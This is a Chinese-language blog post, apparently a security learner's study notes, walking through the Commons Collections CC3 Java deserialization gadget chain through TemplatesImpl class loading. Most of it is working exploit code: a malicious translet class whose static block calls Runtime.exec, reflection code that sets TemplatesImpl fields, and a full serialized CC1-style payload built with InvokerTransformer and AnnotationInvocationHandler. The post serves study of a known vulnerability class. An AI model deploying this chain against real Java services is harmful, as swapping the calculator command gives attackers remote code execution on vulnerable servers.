cc3
cc3区别cc6不再是使用Rutime类执行命令,而是通过类加载器动态加载恶意类然后执行
类加载:
ClassLoader.loadClass->ClassLoader.findClass->ClassLLoader.defineClass
ClassLoader.loadClass:寻找加载的类(双亲委派机制)
ClassLoader.findClass:如果loadClass没找到类,就根据类名称/位置加载字节码
ClassLLoader.defineClass:处理findClass传过来的字节码,使其变为.java类(只加载不执行,执行需要newInstance)
双亲委派机制
细讲双亲委派:https://www.cnblogs.com/hollischuang/p/14260801.html
大概就是java的类加载器分四种:BootstrapClassLoader、extensionClassLoader、ApplicationClassLoader、userClassLoader
这四种加载器从前到后有一个类似于父子的关系,前面的是后面的父加载器,在使用类加载器时,默认会先给父加载器加载,其加载不了才使用本身这个加载器
分析链
前面已经说了cc3是通过类加载器加载恶意类并执行
类加载时静态代码块的代码会在newInstance执行
所以写一个恶意的类:Calc.class,并把恶意类编译为class文件(字节码)
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
所以我们是要利用ClassLoader的defineClass,进入ClassLoader.java
看到:
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}
find usage,跟进TemplatesImpl
是缺省,外部包不能调用,find usage
找到TemplatesImpl.defineTransletClasses方法,跟进,发现是private:
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
继续find usage,看到同包下有三个方法:
先看getTransletIndex,因为是public的,优先看一下,继续find usage发现没有了,问题就来了,我们之前说过只是加载字节码为类不执行代码,需要newInstance一下,但是这里没有,并且find usage也没其他调用关系了,所以不符合
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
根据上述选择标准,发现getTransletInstance符合,它有使用newInstance,虽然是private的,但是find usage有调用关系
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
find usage继续找,找到new Transformer方法,并且是public:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
所以我们现在链子已经梳理完毕
目的是:templates.newTransformer->templates.getTransletInstance->templates.defineTransletClasses->templates.defineClass->ClassLoader.defineClass
在templates.getTransletInstance有new Instance,可以执行Clac恶意类的静态代码块
现在根据2具体的方法代码设置一些属性,让它触发到我们想要执行的链子上,写payload:
TemplatesImpl templates = new TemplatesImpl();
// 目的:templates.newTransformer();//执行newTransformer会调用getTransletInstance,要触发defineTransletClasses,需要_name!=null而_class==null
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qs");//通过反射给_name赋值,这里的set是把指定对象templates的_name属性设置为后面的字符串
//_class属性本身就是空,构造方法也没给它赋值不用管
//执行defineTransletClasses,需要_bytecodes!=null,它的定义:private byte[][] _bytecodes = null;
Field bytecode = templatesClass.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\cc链\\ccTest\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = new byte[][]{code};
bytecode.set(templates,codes);
//获取loader需要设置_tfactory,看到return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()),跟进_tfactory,看它是什么类型的
//private transient TransformerFactoryImpl _tfactory = null;
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
成功触发:
不过毕竟是反序列化,所以我们需要readObject,这里就可以直接用之前学的cc1、cc1.2、cc6的链子,只需要改Runtime那一部分就可以了
以cc1为例子(换cc6也是2可以的) payload:(注意自己写一个serialize和unserialize方法)
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
// 目的:templates.newTransformer();//执行newTransformer会调用getTransletInstance,要触发defineTransletClasses,需要_name!=null而_class==null
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qs");//通过反射给_name赋值,这里的set是把指定对象templates的_name属性设置为后面的字符串
//_class属性本身就是空,构造方法也没给它赋值不用管
//执行defineTransletClasses,需要_bytecodes!=null,它的定义:private byte[][] _bytecodes = null;
Field bytecode = templatesClass.getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\cc链\\ccTest\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = new byte[][]{code};
bytecode.set(templates,codes);
//获取loader需要设置_tfactory,看到return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()),跟进_tfactory,看它是什么类型的
//private transient TransformerFactoryImpl _tfactory = null;
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//设置好这些属性后执行newTransformer方法,成功弹计算器
//templates.newTransformer();
//不过既然是反序列化,那就要找readObject,这里就可以直接用之前的cc1、cc1.2和cc6链,改transformers数组就行了
//比如cc1
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),//这里我们不用Runtime,使用TemplatesImpl的对象
new InvokerTransformer("newTransformer",null,null)//我们要执行的方法是templates.newTransformer();
};
//后面的链子不变,AnnotationInvocationHandler.readObject->AbstractInputCheckedMapDecorator.setValue->TransformedMap.checkSetValue->transform方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","qs");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
byte[] bytes = serialize(annotationInvocationHandler);
unserialize(bytes);
}
链子
templates.newTransformer->templates.getTransletInstance->templates.defineTransletClasses->templates.defineClass->ClassLoader.defineClass
最终只需要用TemplatesImpl的对象去代替Runtime对象,并且要用InvokerTransformer.transform来执行TemplatesImpl.newTransformer从而触发
标签:templates,name,javaCC,tfactory,new,null,class From: https://www.cnblogs.com/q1stop/p/18344168